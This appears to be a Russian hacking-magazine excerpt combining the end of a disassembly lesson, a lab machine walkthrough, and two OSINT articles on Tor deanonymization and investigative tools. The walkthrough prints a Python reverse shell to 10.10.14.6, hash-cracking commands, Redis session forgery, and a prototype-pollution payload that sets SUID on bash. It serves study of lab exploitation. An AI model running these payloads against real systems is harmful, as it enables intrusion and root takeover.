.text:0000000140001041; Подготовка параметров для вызова функции max.
.text:0000000140001046
mov
edx, [rsp+28h+arg_0]
.text:000000014000104A
mov
ecx, 666h
.text:000000014000104A; Вызов функции max.
.text:000000014000104F
call
sub_140001070
.text:0000000140001054
mov
edx, eax
.text:0000000140001056
lea
rcx, asc_140016328 ; "%x\
n"
.text:0000000140001056; Вывод результата на экран.
.text:000000014000105D
call
printf
.text:0000000140001062
xor
eax, eax
.text:0000000140001064
add
rsp, 28h
.text:0000000140001068
retn
.text:0000000140001068 main
endp

«Так-так», — шепчем себе под нос. И что же он тут накомпилировал? Встраиваемую функцию представил в виде обычной! Вот дела! Компилятор забил
на наше желание сделать функцию встраиваемой (мы ведь написали
модификатор inline).
Ситуацию не исправляет даже использование параметров компилятора: /
Od или /Oi. Первый служит для отключения оптимизации, второй — для создания встраиваемых функций. Такими темпами компилятор вскоре будет
генерировать код, угодный собственным предпочтениям или предпочтениям
его разработчика, а не программиста, его использующего!
Остальное ты можешь увидеть в комментариях к дизассемблированному
листингу. Сравнивающая функция max в дизассемблированном виде будет
выглядеть так:
.text:0000000140001070 sub_140001070
proc near
.text:0000000140001070
.text:0000000140001070 arg_0
= dword ptr 8
.text:0000000140001070 arg_8
= dword ptr 10h
.text:0000000140001070
.text:0000000140001070
mov
[rsp+arg_8], edx
.text:0000000140001074
mov
[rsp+arg_0], ecx
.text:0000000140001078
mov
eax, [rsp+arg_8]
.text:0000000140001078; Сравнение значений, переданных в параметрах.
.text:000000014000107C
cmp
[rsp+arg_0], eax
.text:
000000014000107C; Если первый операнд меньше второго или равен ему,
.text:000000014000107C; переходим на метку, где возвращается второй
.text:000000014000107C; операнд.
.text:0000000140001080
jle
short loc_140001088
.text:0000000140001080; В обратном случае возвращаем первый операнд.
.text:0000000140001082
mov
eax, [rsp+arg_0]
.text:0000000140001086
jmp
short locret_14000108C
.text:0000000140001088 ; -------------------------------------------.text:0000000140001088
.text:0000000140001088 loc_140001088:
.text:0000000140001088
mov
eax, [rsp+arg_8]
.text:000000014000108C
.text:000000014000108C locret_14000108C:
.text:000000014000108C
retn
.text:000000014000108C sub_140001070
endp

Здесь тоже все важные фрагменты прокомментированы.
Напоследок предлагаю откомпилировать и рассмотреть следующий пример (Listing8). Он немного усложнен по сравнению с предыдущим, в нем
в качестве одного из значений для сравнения используется аргумент командной строки, который преобразуется из строки в число и при выводе обратно.
#include
#include
#include
using namespace std;
// Встраиваемая функция нахождения максимума.
inline string max(int a, int b)
{
int val = (a > b) ? a : b;
stringstream stream;
// Преобразуем значение в hex-число.
stream ">
%eval;
%exfiltrate;

Выполнение запроса на сервер

Логи веб-сервера Python 3
Мы получили данные, а значит, уязвимость есть. Давай читать файлы сайта.
Начинаем, конечно, с index.php (изменяем только первую строку файла
DTD).


Отправляем новый запрос, получаем файл на свой сервер и декодируем
Base64-строку.

Содержимое файла index.php
Этот файл ничего, кроме новых путей, не раскрывает. Давай получим подключаемый файл bootstrap.php.


Содержимое файла bootstrap.php
И получаем секрет для подключения к службе Redis. К ней перейдем чуть позже, а пока продолжим выжимать максимум из XXE. Правда, больше исходные
коды нам ничего не открыли, но помним про HTTP-аутентификацию на одном
из доменов. Вспоминаем про домен developers. Получим учетные данные
из файла /var/www/developers/.htpasswd.


Содержимое файла .htpasswd
Чтобы перебрать этот хеш, нам нужно знать режим перебора. В этом
поможет справка hashcat.
hashcat --example | grep '\$apr1\$' -A2 -B2

Описание хеша
Получаем режим 1600, который передаем в параметре -m.
hashcat -m 1600 hash.txt rockyou.txt

Результат перебора хеша
Получаем пароль и авторизуемся на developers.collect.htb, но нас встречает еще и авторизация на сайте.

Форма авторизации developers.collect.htb
Теперь перейдем к изучению Redis.
Auth Bypass
Порт открыт, поэтому подключаемся с найденным паролем и получаем все
ключи.
redis-cli -h collect.htb -a COLLECTR3D1SPASS
keys *

Ключи в базе Redis
Получаем сессии, видимо, какого-то веб приложения. Для проверки переходим к сайту developers, получаем новую сессию в куки и снова проверяем
ключи в Redis.

Burp History

Ключи Redis
Получим записи по ключам, чтобы разобрать формат хранящихся данных.

Получение данных Redis
Первая запись соответствует сайту collect, а только что созданная сессия,
конечно же, ничего не хранит. По известной записи сформируем данные
для администратора сайта developers и присвоим только что созданному
ключу.
set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";
role|s:5:"admin";auth|s:4:"True";"

Обновляем страницу на сайте и получаем доступ от имени авторизованного
пользователя.

Домашняя страница сайта Developers
Сразу обращаем внимание на то, что страница передается в качестве URLпараметра page. В таких случаях нужно сразу искать уязвимости типа LFI
или RCE. Я попробовал несколько, но ничего не получилось. Скорее всего,
используются фильтры и мы можем посмотреть на них, прочитав код сайта
через XXE.


Содержимое файла /var/www/developers/index.php
Используется функция include, но к указанной странице добавляется расширение .php.
PHP include RCE
Даже в таком случае мы можем выполнить произвольный код благодаря
репозиторию php_lter_chain_generator.

Создание нагрузки
Теперь отправляем ее на сайт и в ответе видим результат выполнения команды.

Эксплуатация RCE
Осталось вместо команды id выполнить команду, которая скачает и запустит
с нашего веб-сервера следующий реверс-шелл.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4321));os.dup2(s.
fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("sh")'

Чтобы поймать входящее соединение, используем pwncat-cs.
python3 php_filter_chain_generator.py --chain ''

Сессия пользователя веб-сервера

Продолжение статьи



← НАЧАЛО СТАТЬИ

ВЗЛОМ

ЭКСПЛУАТИРУЕМ XXE
И РАЗБИРАЕМСЯ
С УЯЗВИМОСТЬЮ
PROTOTYPE POLLUTION

ÏÐÎÄÂÈÆÅÍÈÅ
Теперь нам необходимо собрать информацию о системе и потенциальных
способах повышения привилегий до рута. Я для этого использую скрипты
PEASS.

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Давай посмотрим, что нашел скрипт.
В списке процессов отмечаем запущенные от имени разных пользователей процессы php-fpm, а также запущенный от имени рута pollution_api
nodejs.

Список процессов php-fpm

Процесс nodejs
Среди прослушиваемых портов есть порт службы MySQL 3306.

Список прослушиваемых портов
Так как работает служба базы данных MySQL, скорее всего, базы данных
используются веб-приложением. Значит, мы можем найти в исходных кодах
сайта учетные данные для подключения к СУБД и получить из базы все интересные данные. Код для подключения к СУБД находим в файле login.php.

Содержимое файла login.php
Подключаемся к базе данных и просматриваем существующие таблицы.
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D developers
show tables;

Таблицы в базе developers
Получаем данные из единственной таблицы users.
select * from users;

Логины и пароли пользователей
Полученные учетные данные никуда не подходят, поэтому перейдем к phpfpm. Используем известный эксплоит для выполнения кода PHP. В качестве
выполняемого кода будем просто вызывать функцию system и передавать ей
команду.
touch r.php
python3 fpm.py -c '' 127.0.0.1 /tmp/r.php

Выполнение команды id
Команда выполнена от имени пользователя victor. Давай скопируем файл
командной оболочки /bin/bash и назначим ему бит SUID.
python3 fpm.py -c '' 127.0.0.1 /tmp/r.php

Копирование файла командной оболочки

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Теперь мы можем запустить новую сессию от имени пользователя victor.
/tmp/bash -p

Получение сессии пользователя victor
Генерируем SSH-ключ командой ssh-keygen и записываем публичный SSHключ в файл ~/.ssh/authorized_keys. Затем подключаемся с приватным
ключом и забираем первый флаг.

Флаг пользователя
ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
В домашнем каталоге пользователя находим исходные коды приложения
pollution_api, которое, как мы видели ранее, уже запущено от имени пользователя root.

Содержимое каталога pollution_api
Исходников очень много, поэтому загрузим на хост архиватор 7za и упакуем
их для более удобного скачивания.
./7za a -r pollution_api.7z pollution_api

Архивирование исходных кодов
Получаем архив с удаленного сервера и открываем в любой среде разработки. Все эндпоинты API можем найти в файле documentation.js. Мы уже
регистрировались, поэтому в /auth/login можно будет получить токен доступа. Нас интересуют точки /admin/messages и /admin/messages/send.

Содержимое файла documentation.js
Переходим к файлу admin.js. Обозначенные точки ведут к модулям
Messages и Messages_send соответственно.

Содержимое файла admin.js
При этом из admin.js тоже видим механизм аутентификации, где перед проверкой роли список пользователей извлекается из базы данных запросом
User.findAll. Подробности можем найти в файле User.js.

Содержимое файла User.js
В коде находим учетные данные для подключения к базе данных.

Содержимое файла db.js
Теперь мы можем подключиться к ней, поменять роль пользователя на администратора и получить доступ к конечным точкам /admin/messages и /admin/
messages/send. Подключимся к базе и просмотрим таблицы.
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D pollution_api
show tables;

Таблицы в базе pollution_api
В таблице users хранится информация о пользователях.
select * from users;

Пользователи в таблице users
Изменить роль пользователей можно одним запросом.
update users set role='admin';

Теперь переходим к командной оболочке и используем API для авторизации.
curl http://127.0.0.1:3000/auth/login -H "content-type: application/
json" -d '{"username":"ralf","password":"ralf"}' ;echo

Результат запроса
Мы авторизованы и получили токен доступа. Изучаем исходники дальше, чтобы понимать наши возможности.
В файле Messages_send.js происходит проверка параметра text (строка 8), а затем переданные пользователем данные передаются в функцию
merge модуля lodash (строки 3 и 15).

Содержимое файла Messages_send.js
Эта функция уязвима перед prototype pollution.
Prototype pollution
В JavaScript классы реализуются с помощью так называемых прототипов.
Прототип любого объекта доступен через свойство __proto__, то есть справедливо следующее:
"abc".__proto__ === String.prototype

Прототипы — это обычные объекты, а значит, их можно модифицировать.
Добавление свойства к прототипу приведет к тому, что все существующие
объекты этого типа тоже будут иметь новое свойство.
Можно проверить на примере пустого объекта obj_1. Добавим к его прототипу свойство x, потом создадим новый объект obj_2 такого же типа, и у
него тоже будет свойство x.

Проверка свойства прототипа
В коде мы видим выполнение функции exec, что приводит к созданию нового
процесса. Для таких случаев уже есть много готовых нагрузок, эксплуатирующих prototype pollution, которые очень легко найти в интернете.
Так, мы можем установить NODE_OPTIONS для активации дополнительных
аргументов командной строки процесса. Не все аргументы получится установить, но один из допустимых — --require, который можно использовать
для включения любого файла.
Обычный способ эксплуатации такой уязвимости — вставить новую
переменную среды перед NODE_OPTIONS, которая содержит код JavaScript
и имеет завершающий комментарий, чтобы избежать синтаксических ошибок. Однако Node.js теперь по-другому обрабатывает параметр
NODE_OPTIONS и помещает его первым в списке аргументов, что не дает эксплуатировать уязвимость.
Однако и это можно обойти — за счет опций самой функции exec. Первый
ее аргумент — argv0, он указывает первый элемент в списке аргументов
нового процесса (обычно это исполняемый двоичный файл). Весь список
аргументов отражен в файле /proc/self/cmdline, поэтому первый элемент
будет расположен в самом начале. Таким образом, атакующий должен изменить значение NODE_OPTIONS на --require /proc/self/cmdline и поместить свою нагрузку в argv0.
Осталось решить последнюю проблему. Так как первый аргумент теперь
изменен, процесс запустится, поскольку теперь это нагрузка Node.js, а не
путь к файлу. Но в опции shell можно указать путь к файлу командной оболочки, который будет использован для запуска команды. Вместо /bin/sh
можно задать исполняемый файл Node.js, который и выполнит нашу нагрузку
в первом параметре. Раз мы и так работаем из Node.js, путь к исполняемому
файлу можно взять из /proc/self/exe.
Собираем нагрузку и можем эксплуатировать prototypepollution.
{
"text":
{
"constructor":
{
"prototype":
{
"shell":"/proc/self/exe",
"argv0":"console.log(require("child_process").
execSync("chmod +s /usr/bin/bash").toString())//",
"NODE_OPTIONS":"--require /proc/self/cmdline"
}
}
}
}

Эта нагрузка установит S-бит файлу командной оболочки /bin/bash. Отправляем запрос с нагрузкой на сервер.
curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoicmFsZiIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6M
TY3NTMzODg4MCwiZXhwIjoxNjc1MzQyNDgwfQ.
SLKZoNeaTGU0mr22ue2C3AB1htN5VAU7ZS0rZCpCEhs" -H "content-type:
application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/
proc/self/exe","argv0":"console.log(require("child_process").
execSync("chmod +s /usr/bin/bash").toString())//","NODE_OPTIONS":
"--require /proc/self/cmdline"}}}}'

Сервер ответил {"Status":"Ok"}, проверим права на файл /bin/bash.

Права на файл /bin/bash
Атрибут SUID установлен, а это значит, что обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. В данном случае
это root.

Флаг рута
Машина захвачена, и мы получаем флаг.

ПРИВАТНОСТЬ

КАК ЛОВЯТ АДМИНИСТРАТОРОВ
САЙТОВ В TOR

В этой статье я расскажу о том, как вычисляют администраторов ресурсов в Tor
Network, то есть в дарквебе. Мы рассмотрим структуру сайтов в Tor, обсудим известные случаи деанона и многие другие особенности этого темного уголка интернета,
который считается анонимным. По ходу
дела я буду рекомендовать программы,
которые помогут в работе.

moon
Интернет-расследователь и
владелец osintkanal.ru
moonlighted_email@proton.me

Думаю, ты уже в курсе, что сайты, адрес которых заканчивается на .onion, —
не простые и без дополнительных усилий открыть их в обычном браузере
не выйдет. Так называемый дарквеб состоит из таких вот сайтов. Очень часто
они посвящены торговле незаконными товарами и услугами. Конечно, ведь
администраторам этих сайтов не приходится заполнять свои контактные данные при регистрации, никакой цензуры нет, а «луковая» маршрутизация через
череду прокси-серверов должна обеспечивать анонимность.
Сайты в Tor Network не индексируются обычными поисковиками, зато
существуют специализированные поисковики, которые ищут только в Tor.
В общем, как ты понял, это целый отдельный мир.
ÊÀÊ ÐÀÁÎÒÀÅÒ TOR NETWORK
При обычной прямой IP-маршрутизации все относительно просто: один узел
делает запрос по какому-то адресу, другой отвечает на тот же адрес,
с которого поступил запрос. В луковой же маршрутизации любой запрос сначала проходит через три узла, называемых нодами Tor. По умолчанию входной
и выходной узлы шифруют информацию так, чтобы она прошла через следующий узел.
Идеальная защита от слежки? Не совсем. Любой в теории может сделать
свой компьютер узлом-посредником и собирать данные о запросах. Ты спросишь, кому это нужно, если информация зашифрована? А что, если атакующий будет собирать часть информации до шифрования, заразив входную
ноду? Или наоборот — выходную, и получать данные о запрашиваемых
ресурсах? Именно второй вариант наиболее распространенный.
К тому же злоумышленник может модифицировать или полностью изменить информацию, передаваемую от сервера клиенту. Так можно даже
заразить устройство клиента вредоносным кодом.
В 2020 году была обнаружена хакерская группировка KAX17, которая
управляла 900 зараженными серверами, к которым обращалось до 16%
пользователей Tor.
Вот несколько инструментов, которые помогают исследовать ноды Tor:
• TOR Node List — список нод;
• ExoneraTor — проверка IP на использование в качестве нод Tor;
• Onionite — информация о нодах;
• Tor Metrics — информация о нодах;
• Collector Tor — архив IP и портов узлов.
Как и в обычном интернете, сайты в Tor могут получать от клиента информацию о разрешении экрана, количестве ядер компьютера и других параметрах,
которые в совокупности могут составлять уникальный отпечаток.
Именно поэтому эксперты советуют не включать JavaScript на сайтах
в даркнете или как минимум не использовать браузер в полноэкранном
режиме, чтобы не выдавать размер экрана. Цифровой отпечаток — это,
конечно, не так страшно, как настоящие личные данные, но позволяет
выделить уникального посетителя из определенного количества.

«ËÓÊÎÂÀß» DNS
Разведка через Whois и сервисы типа DNSdumpster в сети Tor просто невозможна, ведь луковичная система доменов работает совсем не так, как обычная. Вот ее основные отличия:
1. Существует только единая доменная зона .onion, домены состоят из сгенерированных идентификаторов, из-за чего в принципе отсутствует та
самая иерархическая структура с TLD, SLD и поддоменами.
2. Децентрализованное хранение — это главная проблема собирающего
информацию, ведь из-за него невозможно послать запрос к Whois. В классической DNS информация о доменах и соответствующих им IP-адресах
хранится на централизованных DNS-серверах. В Tor информация
о доменах .onion и их адресах хранится на распределенных узлах в сети
Tor.
3. Отличаются и протоколы. Если в классической DNS используются запросы
UDP и TCP-запросы, то система DNS в Tor напрямую обращается к распределенным узлам хранения, чтобы получить нужный адрес.

TorWhois — нечто вроде сервиса Whois для Tor.
Позволяет получить информацию об открытых
портах, сертификатах, ключах и информацию
о robots.txt.

Есть исследование, которое показало, что DNS-трафик в сети Tor можно
использовать для точного определения посещаемых сайтов. Исследователи
разными методами анализировали DNS-запросы, проходящие через выходные узлы Tor, и выясняли корреляции этих запросов с конкретными сайтами.
Можно просто искать в запросах домены. Поскольку в адресах .onion
домены состоят из сгенерированных идентификаторов, их легко сравнивать
с идентификаторами в DNS-запросах и устанавливать соответствия. Это позволяет определить, какие конкретные сайты пользователь посещал через Tor.
В редких случаях администраторы не удаляют метаданные у файлов, размещенных на сайте, а метаданные могут включать такую информацию,
как модель фотоаппарата, имя, геолокация и многое другое. Сейчас даже
обычные соцсети удаляют метаданные при загрузке файлов.
ÑÒÐÓÊÒÓÐÀ ÑÀÉÒÎÂ
Сайты в Tor используют обыкновенные CMS, как и сайты в «клирнете». Конечно, внутри всё те же HTML, CSS и другие привычные технологии. То есть тут
нет ничего удивительного и нового. На скриншоте ты можешь увидеть, что
автор сайта сделал его на Bootstrap. А использование популярных технологий, конечно, открывает возможность для автоматизации аудита в целях
разведки. Для этого есть:
• Onionscan (аудит onion-сайта);
• Onion Nmap (Nmap для onion-сайта);
• OWASP ZAP (сканер);
• Nikto (сканер);
• WPScan (сканер);
• Burp Suite (сканер);
• Wapiti (сканер);
• список уязвимостей на Mitre.org.

ÒÅÍÅÂÀß ÝÊÎÍÎÌÈÊÀ
Чаще всего дарквеб используют для торговли запрещенными товарами
и услугами. Вырученные деньги потом нужно как-то выводить, и здесь торговцы запрещенным изобретают самые изощренные схемы. Обычно —
с использованием криптовалюты. Именно на этапе вывода денег чаще всего
и попадаются владельцы маркетплейсов.
Представь: клиент покупает крипту, покупает на нее что-то в даркнете,
криптовалюта хранится на депозите маркетплейса, затем большая часть
переходит продавцу, а дальше он пытается ее обменять на фиатную валюту.
Получается, что можно установить, каким обменником пользуется продавец, если знать адрес его криптовалютного кошелька. Для этого достаточно визуализировать его активность с помощью специальной программы.
На кошельке обменника, конечно же, будет огромное число транзакций
и немалая сумма денег.
Визуализаторы зачастую платные, но есть и несколько бесплатных:
• Breadcrumbs;
• OXT.ME;
• Blockpath.
Часто при отмыве денег применяются криптовалютные миксеры. Они позволяют скрывать криптовалютные активы, распределяя их по множеству других кошельков, и затем снова переводят в один. Это усложняет отслеживание
транзакций, но не делает их полностью анонимными.
Если визуализировать транзакции кошелька, который использовал миксер, можно заметить следующие особенности:
• множество входов и выходов в одной транзакции, включая адреса, не связанные с исходным кошельком;
• перемешивание средств между разными адресами и кошельками;
• связи с другими транзакциями — цепочки и кластеры транзакций, связанные с биткоин-миксером;
• неоднородность сумм транзакций;
• необычные временные интервалы между транзакциями.
Найти настоящий адрес покупателя тяжело, но вполне реально. Однако
ПО для анализа транзакций миксеров в открытом доступе пока что нет.
Поэтому приходится просто идти по цепочке транзакций, пока не найдешь
что-то похожее на кошелек, принадлежащий человеку.
Как ты понял, отмыв денег и их отслеживание — это отдельная большая
тема. Но знать о ней нужно, хотя бы на базовом уровне. Существует
огромное количество схем легализации средств, полученных преступным
путем, — от создания офшорных организаций до покупки разного имущества.
Все это, мы, конечно, здесь разбирать не будем.

ÏÎÈÑÊÎÂÈÊÈ
Поисковики и дорки (рецепты запросов) всегда были главным оружием современного OSINT-специалиста, и в сети Tor всё точно так же. Давай посмотрим, какие поисковики ищут по дарквебу.
Вот поисковые системы, доступные в клирнете и индексирующие onionсайты:
• Onion Search Engine;
• Torry;
• OnionLand Search;
• Tor Search;
• OnionSearch;
• DuckDuckGo.
Многие из них удобны и позволяют комбинировать результаты из клирнета
и дарквеба.
А вот список поисковых систем, у которых есть сайты в сети Tor (ссылки
приведены на onion-адреса):
• DuckDuckGo;
• Not Evil;
• Ahmia;
• Haystak;
• Torch;
• Demon.
С этими системами можно пробовать базовые дорки вроде поиска точного
совпадения (двойные кавычки), указания сайта, на котором искать (оператор
site), оператора intext и прочих в том же духе. В большинстве поисковиков
это сработает.

Подробнее о дорках читай в статьях «Используем
малоизвестные функции Google, чтобы найти сокрытое» и «Google как средство взлома. Разбираем актуальные рецепты Google Dork Queries».

Если наша цель — вычислить администратора форума, то в ход идут любые
приемы разведки. Например, если известны его интересы, то можно пройтись по тематическим форумам в поисках упоминания его никнейма.
Вот пример запроса, который выдаст результат поиска по архиву форума
«Хакера» в поисках пользователя moon:
site:oldforum.xakep.ru intext:moon

Кстати, о тематических форумах. Есть вики, которые коллекционируют ссылки
на сайты в дарквебе, и оттуда легко почерпнуть подборку адресов криминальных форумов. Вот некоторые из них:
• The Hidden Wiki;
• IACA DarkWeb;
• DarkWeb Links;
• The DarkWeb Links.
Если ты знаешь, что человек увлекается, например, чтением, можешь проверить соответствующие разделы форумов.

Пользователи форумов и администраторы маркетплейсов тоже не роботы,
такчто им свойственно допускать ошибки. К примеру, кто-то может отправить
свою фотографию человеку, с которым познакомился в интернете. Я лично
слышал о нескольких случаях, когда задерживали администраторов крупнейших нелегальных площадок, предлагая встретиться. Эксперты используют
самые разные ловушки и ханипоты, чтобы подсунуть преступнику файл, ссылку, а иногда целое фейковое приложение или маркетплейс.
ËÎÂÓØÊÈ
Ловушки вроде IP Logger или Canary Tokens — это самое простое и малобюджетное, что бывает. В случае с Canary Tokens ты можешь развернуть свой
сервер с помощью готового образа для Doсker, который любезно предоставили нам разработчики. У этого инструмента много интересных возможностей, и, на мой взгляд, его часто недооценивают.
Что до IP Logger, то не рекомендую использовать его при попытках выследить профессионалов. Эта программа скорее напоминает детскую
игрушку, а не рабочий инструмент, и мало-мальски продвинутый пользователь сразу заподозрит недоброе.

ÔÈÍÃÅÐÏÐÈÍÒÈÍÃ
Поскольку сайтам в Tor не запрещено использовать все стандартные технологии, здесь может работать и фингерпринтинг — отслеживание пользователей через уникальные отпечатки.
Для примера заглянем на сайт AmIUnique.org. Сервис без проблем определит версию движка, ОС, язык, шрифты, плагины и с некоторой точностью —
поддерживаемые браузером аудио- и видеоплагины. Это сложно назвать
точной идентификацией, но выделить одного подозреваемого из тысячи
может помочь.
Tor Browser специально маскирует разрешение экрана, чтобы затруднить
идентификацию, плюс пользователи могут сами подменить отпечаток
на основе тега canvas. Все это делает фингерпринтинг менее точным, но не
предотвращает его полностью.

Есть и более изощренные тактики, основанные на фингерпринтинге. Не все
знают, что если открыть Tor Browser и обычный и потом переключаться между
ними горячими клавишами или мышью, то можно выдать связь своего реального IP и IP в сети Tor. Подводят уникальные закономерности вроде положения курсора мыши, которое можно отследить. То же касается и использования двух вкладок в Tor Browser. Tor будет использовать для них разные
входные узлы, но, если включен JavaScript, взаимосвязь между табами все же
можно будет установить.

ÀÍÀËÈÇ ÒÅÊÑÒÀ
Не секрет, что у каждого свой стиль сообщений в социальных сетях, и администраторы форумов и маркетплейсов не исключение. Кто-то часто ставит
пробелы перед запятыми, кто-то не фанат прописных букв, а у кого-то просто
сломана клавиатура и какая-то кнопка часто не нажимается.
Все эти маленькие особенности помогут найти другие аккаунты на других
форумах, в социальных сетях и так далее. Говорят, что именно такие ошибки
допускал Росс Ульбрихт, владелец крупного маркетплейса Silk Road.
ÊÐÀÓËÅÐÛ, ÑÏÀÉÄÅÐÛ, ÑÊÐÅÏÅÐÛ
Существуют разные типы инструментов для сбора данных в интернете.
• Crawler (краулер) — это программа, которая автоматически обходит сайты и собирает информацию. Она работает подобно паукам, но способна
собирать информацию разных типов.
• Scraper (скрепер) — программа, которая извлекает данные с веб-сайтов,
часто автоматически, и сохраняет их в структурированном формате
для дальнейшего использования или анализа.
• Spider (паук) — программа, которая автоматически переходит по ссылкам
на сайтах, анализирует содержимое страниц и индексирует их для поиска
или других целей.
Эти инструменты полезны при анализе сайтов в сети Tor. Они помогают собрать информацию о фотографиях, директориях и самую разную информацию
о структуре сайтов. Интересны они тем, что дают максимум сведений о том,
что происходит на сайте, без посещения самого сайта.
Начнем с краулеров, их можно использовать для сбора определенного
типа данных на сайте, к примеру фото, видео, текста и так далее. Например,
ты хочешь перебрать все фото на сайте и найти те, которые содержат
метаданные.
Вот несколько краулеров для Onion:
• TorBot;
• OnionBot;
• OnionScan;
• VigilantOnion;
• OnionIngestor.
Скреперы работают по заданному алгоритму, который определяет, какие
данные нужно собирать и как их извлекать. Обычно они делают запросы
к серверу, а затем анализируют полученный HTML, чтобы извлечь нужную
информацию. В ход идут разные методы разбора страниц — парсинг HTML,
поиск по тегам и классам CSS, регулярные выражения и так далее. Часто сайты выгружаются целиком для дальнейшего анализа.
Вот некоторые программы и библиотеки для скрепинга:
• Scrapy;
• BeautifulSoup;
• Selenium;
• Puppeteer;
• Frontera.
Пауки же предназначены для индексации сотен и тысяч ссылок. Для Tor
существуют Onioff и Onion Spider.

ÔÎÐÅÍÇÈÊÀ
Под конец немного затронем тему форензики, а не OSINT. При судебно-технической экспертизе компьютера, на котором использовался Tor, в первую
очередь стоит проверять:
1. Папку C:\Windows\Prefetch, где могут находиться файлы, связанные
с запуском Tor Browser (исполняемый файл браузера или файлы DLL, загружаемые при его работе). Анализ их временных меток позволяет установить, когда запускался браузер.
2. Кеш миниатюр. В нем могут сохраняться превью изображений, просмотренных через Tor. Их можно сопоставить с определенными сайтами.
3. Файл подкачки. Здесь тоже может быть инфа о запуске браузера, посещении сайтов и файловых операциях, связанных с использованием Tor.
4. Реестр Windows. Помогает извлечь настройки браузеров, историю
посещений, кешированные данные, а также записи о загруженных расширениях и плагинах.
Анализ дампов — также неотъемлемая часть судебно-технической экспертизы. В них содержится масса информации о том, что происходило на компьютере. Захватить дамп оперативной памяти можно, к примеру, при помощи
Belkasoft RAM Capturer.
Для анализа реестра может пригодиться программа Regshot.
Для анализа сетевого трафика рекомендую Wireshark и NetworkMiner.
Wireshark хорош для выявления разных типов пакетов и фактов установки связей между узлами. Он помогает идентифицировать характеристики протоколов, используемых в Tor. А NetworkMiner специализируется на анализе
сетевого трафика и выявлении скрытых связей и закономерностей.
NetworkMiner может помочь в обнаружении и анализе активности в сети Tor,
включая обмен информацией и использование анонимных прокси-серверов.
И конечно, нужно изучить базу данных самого Tor Browser. Она находится
по такому пути:
TorBrowser\Browser\TorBrowser\Data\Browser\Profile.default

Здесь при определенных настройках браузера может храниться история
просмотра, закладки, сохраненные пароли, cookie и другие пользовательские
данные.
Изучение данных кошельков Bitcoin — тема отдельная и сложная, но для
сбора доказательств можно использовать Internet Evidence Finder.
ÂÛÂÎÄÛ
При видимой анонимности сайтов в Tor всегда есть способы идентифицировать их владельцев. Да, некоторые из них сложны и требуют серьезной
работы, но, поскольку администраторы тоже совершают ошибки, нет-нет
да срабатывают. Рекомендую всем, кто занимается подобными расследованиями, не забывать применять не только описанные тактики, но и те методы,
которые срабатывают и в клирнете.

ТРЮКИ

СОБИРАЕМ ИНСТРУМЕНТАРИЙ
СЕТЕВОГО РАЗВЕДЧИКА

OSINT, то есть разведка по открытым
источникам, бывает чрезвычайно полезна,
особенно при расследовании инцидентов.
Теорию — что и где искать — знают почти
все, но на практике массивы данных оказываются настолько большими, что перебрать их руками просто невозможно, и расследование останавливается. В этой статье
я покажу несколько крутых инструментов,
которые облегчат работу и помогут
не запутаться в огромном количестве данных.

Luc1fer_Lan1us
viktorkoen8@gmail.com

Статья опубликована исключительно в образовательных целях, а автор и редакция не несут
ответственности за любой возможный вред, причиненный использованием материалов этой публикации. Сбор информации о частной жизни
граждан без их согласия незаконен. OSINT —
это поиск в открытых источниках тех данных,
которые люди сами оставляют в публичном доступе. Но даже в этом случае нарушение чужой
приватности может быть незаконным.

В этой статье я покажу пять инструментов для анализа открытых данных в соцсетях и Telegram.
1. YASEEKER
YaSeeker позволяет получить информацию о любой учетной записи Yandex.
Нужно просто ввести никнейм пользователя, а скрипт сделает все сам.
Получается неплохой инструмент для поиска человека по никнейму, если ты
знаешь, что у него есть учетная запись Яндекса.
Устанавливать все утилиты из этого обзора я буду на Kali Linux, но в других
дистрибутивах семейств Debian и Ubuntu установка вряд ли будет отличаться.
Качаем YaSeeker с GitHub и ставим зависимости.
git clone https://github.com/HowToFind-bot/YaSeeker.git
cd YaSeeker
pip install -r requirements.txt

Установка YaSeeker
Поскольку Яндекс не очень любит отдавать данные кому попало (по крайней
мере официально), нужно подкинуть инструменту файлы cookies, чтобы тот
притворился реальным пользователем. Для этого можно зарегистрировать
любой одноразовый аккаунт Яндекса и установить расширение для загрузки
файлов cookies в формате Netscape.

Расширение cookies.txt доступно для Chrome
и Firefox. Но не обязательно использовать именно
его — просто поищи в магазине расширений «get
cookies txt».

С включенным расширением переходим на Яндекс и сохраняем cookies.txt
(если расширение спросит, для какого сайта сохранять кукисы, выбирай
Current Site). Удобнее всего будет сразу сохранить файл в каталог YaSeeker.
Назвать его нужно именно cookies.txt, потому что настроить путь к файлу
с куками нельзя.

Сохраняем cookies
Теперь, когда печеньки для работы есть, можем применять скрипт. Просто
запусти его через python3 и передай аргументом имя пользователя,
о котором хочешь узнать побольше.

Кто-то с ником login
Инструмент выводит информацию о сервисах Яндекса, которыми пользуется
владелец учетной записи. Для расследований в русскоязычном сегменте
интернета YaSeeker может очень пригодиться, и будет нелишним включить
его в свою коллекцию. Особенно если автоматизировать его запуск вместе
с подобными инструментами из одного скрипта.
2. ENOLA HOLMES
Enola — это аналог куда более широко известного инструмента Sherlock.
Авторы утилиты гордо назвали ее в честь сестры Шерлока — Энолы Холмс.
